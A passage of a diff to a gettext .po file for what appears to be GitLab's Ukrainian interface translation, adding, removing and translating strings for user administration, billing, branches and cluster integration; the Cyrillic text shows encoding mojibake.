@@ -2724,6 +2758,9 @@ msgstr "Ðеможливо розблокувати кориÑтувачів зÐ
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Деактивувати"
@@ -2778,6 +2815,9 @@ msgstr "ВикориÑтовує міÑце"
msgid "AdminUsers|It's you!"
msgstr "Це ви!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr "Вхід в ÑиÑтему"
@@ -2859,6 +2899,15 @@ msgstr "Ð”Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð²ÐµÐ´Ñ–Ñ‚ÑŒ %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Ð”Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð²ÐµÐ´Ñ–Ñ‚ÑŒ %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr "Розблокувати"
@@ -2872,6 +2921,12 @@ msgid "AdminUsers|Unlock"
msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
+msgstr "Розблокувати кориÑтувача %{username}?"
+
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
msgstr ""
msgid "AdminUsers|User will not be able to access git repositories"
@@ -2886,6 +2941,9 @@ msgstr "КориÑтувачі"
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr "Розширений"
msgid "Advanced Search"
msgstr "Розширений пошук"
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr "Додаткові налаштуваннÑ"
@@ -3010,9 +3071,6 @@ msgstr[1] "ПопередженнÑ"
msgstr[2] "Попереджень"
msgstr[3] "Попереджень"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr "Ð’ÑÑ– Ñередовища"
msgid "All epics"
msgstr "Ð’ÑÑ– епіки"
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Ð’ÑÑ– функції Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… проєктів берутьÑÑ Ñ–Ð· шаблонів або під Ñ‡Ð°Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ, але ви можете вимикати Ñ—Ñ… пізніше в налаштуваннÑÑ… проєкту."
-
msgid "All groups and projects"
msgstr "Ð’ÑÑ– групи та проєкти"
@@ -3487,6 +3542,9 @@ msgstr "Дозволено"
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Ð’ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÐµÐ½Ð¸Ñ… доменів Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти допуÑкаєтьÑÑ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿ найвищого рівнÑ"
@@ -3700,6 +3758,9 @@ msgstr "Помилка при отриманні кольорів міток."
msgid "An error occurred while fetching markdown preview"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при попередньому переглÑді markdown"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr "Помилка при завантаженні задач"
msgid "An error occurred while loading merge requests."
msgstr "Помилка при завантаженні результатів злиттÑ."
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,8 +3923,8 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr "Помилка при зміні порÑдку задач."
-msgid "An error occurred while requesting data from the Jira service"
-msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні даних з ÑервіÑу Jira"
+msgid "An error occurred while requesting data from the Jira service."
+msgstr ""
msgid "An error occurred while retrieving calendar activity"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ–"
@@ -3893,7 +3951,7 @@ msgid "An error occurred while trying to generate the report. Please try again l
msgstr ""
msgid "An error occurred while trying to run a new pipeline for this merge request."
-msgstr ""
+msgstr "Помилка при запуÑку нового конвеєру Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту на злиттÑ."
msgid "An error occurred while unsubscribing to notifications."
msgstr "Помилка при відпиÑці від Ñповіщень."
@@ -4346,6 +4404,9 @@ msgstr "Затверджуюча оÑоба"
msgid "Approvers"
msgstr "Затверджуючі оÑоби"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "квіт."
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "Ðрхівований проєкт! Репозиторій та інші реÑурÑи проєкту доÑтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Ðрхівований проєкт! Репозиторій та інші реÑурÑи проєкту доÑтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
msgid "Archived projects"
msgstr "Заархівовані проєкти"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4600,7 +4658,7 @@ msgid "Assign Iteration"
msgstr "Призначити ітерацію"
msgid "Assign To"
-msgstr ""
+msgstr "Призначити"
msgid "Assign custom color like #FF0000"
msgstr "Призначити влаÑний колір типу #FF0000"
@@ -4893,7 +4951,7 @@ msgid "Auto stop successfully canceled."
msgstr "Ðвтозупинка уÑпішно ÑкаÑована."
msgid "Auto-cancel redundant pipelines"
-msgstr ""
+msgstr "Ðвтоматичне ÑкаÑÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð°Ð´Ð»Ð¸ÑˆÐºÐ¾Ð²Ð¸Ñ… конвеєрів"
msgid "Auto-close referenced issues on default branch"
msgstr ""
@@ -4970,7 +5028,7 @@ msgstr "Ðвтоматичне ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ñертифікатами зÐ
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5028,7 +5086,7 @@ msgid "AwardEmoji|No emojis found."
msgstr ""
msgid "Back"
-msgstr ""
+msgstr "Ðазад"
msgid "Back to page %{number}"
msgstr "Ðазад до Ñторінки %{number}"
@@ -5039,6 +5097,9 @@ msgstr "Колір фону"
msgid "Background Jobs"
msgstr "Фонові завданнÑ"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Колір фону"
@@ -5136,7 +5197,7 @@ msgid "BambooService|Bamboo service root URL."
msgstr ""
msgid "BambooService|Run CI/CD pipelines with Atlassian Bamboo."
-msgstr ""
+msgstr "ЗапуÑтити CI/CD конвеєри за допомогою Atlassian Bamboo."
msgid "BambooService|Run CI/CD pipelines with Atlassian Bamboo. You must set up automatic revision labeling and a repository trigger in Bamboo. %{docs_link}"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про кожен план перейшовши на %{pricing_page_link}."
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð¿Ð»Ð°Ð½Ð¾Ð¼"
@@ -5228,6 +5295,9 @@ msgstr "Ð¦Ñ Ð³Ñ€ÑƒÐ¿Ð° викориÑтовує план, пов'Ñзаний Ð
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð¿Ð»Ð°Ð½Ð¾Ð¼ цієї групи відвідайте Ñекцію оплати %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "ЧаÑÑ‚Ñ– питаннÑ"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "щоміÑÑцÑ"
@@ -5261,6 +5334,27 @@ msgstr "Підвищити"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5280,13 +5377,19 @@ msgid "Billing|Enter at least three characters to search."
msgstr ""
msgid "Billing|Group"
+msgstr "Група"
+
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
msgstr ""
msgid "Billing|No users to display."
msgstr ""
msgid "Billing|Private"
-msgstr ""
+msgstr "Приватний"
msgid "Billing|Remove user %{username} from your subscription"
msgstr ""
@@ -5322,7 +5425,7 @@ msgid "Blame"
msgstr ""
msgid "Block user"
-msgstr ""
+msgstr "Заблокувати кориÑтувача"
msgid "Blocked"
msgstr "Заблокований"
@@ -5466,13 +5569,13 @@ msgid "Board|Edit board"
msgstr ""
msgid "Board|Enter board name"
-msgstr ""
+msgstr "Введіть ім'Ñ Ð´Ð¾ÑˆÐºÐ¸"
msgid "Board|Failed to delete board. Please try again."
msgstr ""
msgid "Board|Load more issues"
-msgstr ""
+msgstr "Завантажити більше задач"
msgid "Bold text"
msgstr ""
@@ -5490,10 +5593,10 @@ msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab
msgstr ""
msgid "Branch already exists"
-msgstr ""
+msgstr "Гілка вже Ñ–Ñнує"
msgid "Branch changed"
-msgstr ""
+msgstr "Гілку змінено"
msgid "Branch is already taken"
msgstr "Гілка вже Ñ–Ñнує"
@@ -5516,6 +5619,9 @@ msgstr "Ðктивні гілки"
msgid "Branches|All"
msgstr "Ð’ÑÑ–"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Ðе можу знайти HEAD-коміт Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— гілки"
@@ -5528,6 +5634,9 @@ msgstr "Видалити вÑÑ– гілки Ñкі злиті в '%{default_branc
msgid "Branches|Delete branch"
msgstr "Видалити гілку"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Видалити злиті гілки"
@@ -5537,6 +5646,12 @@ msgstr "Видалити захищену гілку"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Видалити захищену гілку \"%{branch_name}\"?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð³Ñ–Ð»ÐºÐ¸ '%{branch_name}' неможливо буде ÑкаÑувати. Ви впевнені?"
@@ -5558,12 +5673,18 @@ msgstr "Ðемає гілок Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Як тільки ви підтвердите Ñ– натиÑнете %{delete_protected_branch}, дані будуть втрачені, Ñ– Ñ—Ñ… не можливо буде відновити."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Тільки керівник або влаÑник проєкту може видалити захищену гілку"
msgid "Branches|Overview"
msgstr "ОглÑд"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Керувати захищеними гілками можливо в %{project_settings_link}."
@@ -5597,6 +5718,9 @@ msgstr "Гілка не може бути оновлена автоматичнÐ
msgid "Branches|The default branch cannot be deleted"
msgstr "Гілка \"за замовчуваннÑм\" не може бути видалена"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Ð¦Ñ Ð³Ñ–Ð»ÐºÐ° не була злита в %{default_branch}."
@@ -5609,6 +5733,18 @@ msgstr "Ð”Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ, введіть %{branch_name_confirma
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Щоб відхилити локальні зміни Ñ– перезапиÑати гілку верÑією з upstream, видаліть Ñ—Ñ— тут Ñ– виберіть \"Оновити зараз\" вище."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ захищену гілку %{branch_name}."
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5688,11 +5827,17 @@ msgid "BulkImport|Importing the group failed"
msgstr ""
msgid "BulkImport|Name already exists."
+msgstr "Ім'Ñ Ð²Ð¶Ðµ Ñ–Ñнує."
+
+msgid "BulkImport|No groups on this page are available for import"
msgstr ""
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5751,7 +5896,7 @@ msgid "Buy License"
msgstr "Придбати ліцензію"
msgid "Buy more Pipeline minutes"
-msgstr ""
+msgstr "Купити більше хвилин конвеєра"
msgid "By %{user_name}"
msgstr "Від %{user_name}"
@@ -5759,9 +5904,6 @@ msgstr "Від %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "За замовчуваннÑм GitLab відправлÑÑ” електронні лиÑти в форматі HTML та у звичайному текÑтовому форматі, щоб поштові клієнти могли вибирати Ñкий з форматів викориÑтовувати. Вимкніть це налаштуваннÑ, Ñкщо ви хочете відправлÑти лиÑти лише у звичайному текÑтовому форматі."
@@ -5810,13 +5952,13 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CI/CD"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD Ð´Ð»Ñ Ð·Ð¾Ð²Ð½Ñ–ÑˆÐ½ÑŒÐ¾Ð³Ð¾ репозиторіÑ"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
+msgstr "УвеÑÑŒ чаÑ"
+
+msgid "CICDAnalytics|Deployment frequency"
msgstr ""
msgid "CICDAnalytics|Projects with releases"
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -5935,7 +6080,7 @@ msgid "Can't apply this suggestion."
msgstr ""
msgid "Can't be empty"
-msgstr ""
+msgstr "Ðе може бути порожнім"
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -5995,7 +6140,7 @@ msgid "Cancel"
msgstr "СкаÑувати"
msgid "Cancel and close"
-msgstr ""
+msgstr "СкаÑувати та закрити"
msgid "Cancel index deletion"
msgstr ""
@@ -6522,8 +6667,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Виберіть гілку чи тег (напр. %{master}) або введіть коміт (напр. %{sha}) Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду змін або Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на злиттÑ."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Виберіть файл"
@@ -6862,7 +7007,7 @@ msgid "Close"
msgstr "Закрити"
msgid "Close %{issueType}"
-msgstr ""
+msgstr "Закрити %{issueType}"
msgid "Close %{tabname}"
msgstr "Закрити %{tabname}"
@@ -6889,7 +7034,7 @@ msgid "Closed %{epicTimeagoDate}"
msgstr ""
msgid "Closed epics"
-msgstr ""
+msgstr "Закриті епіки"
msgid "Closed issues"
msgstr "Закриті задачі"
@@ -6898,7 +7043,7 @@ msgid "Closed this %{quick_action_target}."
msgstr "Закрито %{quick_action_target}."
msgid "Closed: %{closed}"
-msgstr ""
+msgstr "Закрито: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Закриває %{quick_action_target}."
@@ -6906,72 +7051,6 @@ msgstr "Закриває %{quick_action_target}."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "КлаÑтер"
@@ -7009,7 +7088,7 @@ msgid "ClusterAgents|Created by"
msgstr ""
msgid "ClusterAgents|Created by %{name} %{time}"
-msgstr ""
+msgstr "Створено %{name} %{time}"
msgid "ClusterAgents|Date created"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "ОÑновний домен"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr "Режим блокуваннÑ"
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Сертифікат центру Ñертифікації"
@@ -7344,6 +7423,9 @@ msgstr "Стек Elastc"
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "КлаÑтер, що керуєтьÑÑ GitLab"
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Проєкт Google Cloud Platform"
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ–Ð´Ð¼ÐµÑ€ÐµÐ¶"
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Тип машини"
@@ -7602,9 +7678,6 @@ msgstr "ВпевнітьÑÑ, що ваш обліковий Ð·Ð°Ð¿Ð¸Ñ %{link_t
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr "ПереглÑньте %{link_start}Ñторінку довідки%{link_end} по інтеграції з Kubernetes клаÑтером."
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Відалити інтеграцію із Kubernetes-клаÑтером"
@@ -7842,9 +7912,6 @@ msgstr "Виберіть зону, щоб вибрати тип машин"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Токен СервіÑа"
@@ -7857,9 +7924,6 @@ msgstr "Токен ÑервіÑа Ñ” обов'Ñзковим."
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr "Ð’Ñтановіть Ð¿Ñ€ÐµÑ„Ñ–ÐºÑ Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… проÑторів імен. Якщо його не вÑтановлено, то він буде рівним шлÑху до вашого проєкту. Якщо він буде змінений, то Ñ–Ñнуючі Ñередовища будуть викориÑтовувати Ñвої поточні проÑтори імен, поки кеш клаÑтера не буде очищений."
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "ЩоÑÑŒ пішло не так з нашого боку."
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "Шаблон"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr "Ðеактивні кориÑтувачі"
@@ -8278,6 +8351,9 @@ msgstr "Коміт"
msgid "CommitMessage|Add %{file_name}"
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "автор"
@@ -8321,7 +8397,7 @@ msgid "Community forum"
msgstr ""
msgid "Company"
-msgstr ""
+msgstr "КомпаніÑ"
msgid "Company name"
msgstr "Ðазва компанії"
@@ -8363,7 +8439,7 @@ msgid "CompareBranches|There isn't anything to compare."
msgstr "Ðема чого порівнювати."
msgid "CompareRevisions|Branches"
